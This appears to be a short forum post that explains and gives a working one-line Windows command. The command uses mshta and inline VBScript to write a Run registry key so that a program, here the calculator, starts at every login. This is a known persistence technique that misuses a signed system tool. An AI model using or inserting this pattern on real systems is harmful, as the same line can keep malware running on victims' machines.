Group: User Level:
Posts: 280 Joined: 9/20/2020 IP-Address: saved

| This is a command line to write registry keys. It takes advantage of mshta which uses vbs interpretor to execute a shell command. This shell command is RegWrite which will write the registry value calc. Once executed this command line it will autostart the calculator with windows.
mshta vbscript:(CreateObject("WScript.Shell").RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\calc","calc.exe"))(Window.Close)
|